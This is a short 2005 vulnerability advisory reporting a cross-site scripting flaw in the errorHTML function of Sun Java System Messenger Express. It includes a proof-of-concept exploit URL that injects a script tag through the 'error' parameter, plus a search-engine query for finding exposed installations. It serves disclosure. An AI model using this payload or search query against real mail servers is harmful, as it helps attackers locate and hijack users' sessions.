Sun java System Messenger Express XSS

Sun java System Messenger Express
remote XSS vulnerabilities
By: Handrix <handrix_at_morx_org>
29 November 2005
MorX security research team
www.morx.org
Description:
Sun java System Messenger Express XSS

The index script is vulnerable to XSS attacks, in function errorHTML .

function errorHTML() {
var s='';
.
.
.
document.write(s) —> Need more case filetring the 's' var
}

So, this issue can allow an attacker to bypass content filters and potentially carry out cross-site scripting, HTML injection and other attacks.
Exploit:
https://mail.victime.edu/?user=&amp;amp;error=&#37;3Cscript&#37;3Ealert&#40;&#39;hakin9&#39;&#41;;&#37;3C/script&#37;3E&lt;/a&gt;

Googledork :
intitle: "Sun Java(tm) System Messenger Express"

Vulnerable versions :
Sun java System Messenger Express
Sun java System Messenger Express6